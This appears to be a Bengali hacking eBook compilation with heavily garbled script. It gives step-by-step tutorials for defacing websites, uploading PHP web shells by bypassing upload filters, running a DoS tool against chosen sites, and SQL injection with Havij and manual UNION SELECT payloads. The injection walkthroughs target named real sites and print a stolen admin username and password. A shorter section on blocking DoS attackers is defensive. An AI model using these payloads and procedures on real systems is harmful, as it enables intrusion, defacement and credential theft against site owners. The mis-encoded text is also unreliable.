wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 42: Hacking Bangla eBook

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

